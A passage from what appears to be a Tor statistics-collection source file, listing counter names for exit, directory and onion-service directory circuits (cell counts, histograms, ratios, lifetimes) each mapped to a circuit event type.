# is Exit, Dir, or HSDir after a stream opens. And all circuits with open
# streams are considered active.
# Use the End position to count inactive circuits.
'ExitCircuitCount' : { CIRCUIT_EVENT },
'ExitCircuitInboundCellCount' : { CIRCUIT_EVENT },
'ExitCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'ExitCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'ExitCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'ExitCircuitCellRatio' : { CIRCUIT_EVENT },
'ExitCircuitLifeTime' : { CIRCUIT_EVENT },
'ExitFailureCircuitCount' : { CIRCUIT_EVENT },
'ExitFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'ExitFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'ExitFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'ExitFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'ExitFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'ExitFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'ExitSuccessCircuitCount' : { CIRCUIT_EVENT },
'ExitSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'ExitSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'ExitSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'ExitSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'ExitSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'ExitSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'DirCircuitCount' : { CIRCUIT_EVENT },
'DirCircuitInboundCellCount' : { CIRCUIT_EVENT },
'DirCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'DirCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'DirCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'DirCircuitCellRatio' : { CIRCUIT_EVENT },
'DirCircuitLifeTime' : { CIRCUIT_EVENT },
'DirFailureCircuitCount' : { CIRCUIT_EVENT },
'DirFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'DirFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'DirFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'DirFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'DirFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'DirFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'DirSuccessCircuitCount' : { CIRCUIT_EVENT },
'DirSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'DirSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'DirSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'DirSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'DirSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'DirSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# HSDir circuits
# You probably want the HSDir*Store/Fetch* events instead of these events
'HSDirCircuitCount' : { CIRCUIT_EVENT },
'HSDirCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirClientCircuitCount' : { CIRCUIT_EVENT },
'HSDirClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDirServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDirMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2CircuitCount' : { CIRCUIT_EVENT },
'HSDir2CircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2CircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2CircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir2MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3CircuitCount' : { CIRCUIT_EVENT },
'HSDir3CircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3CircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3CircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
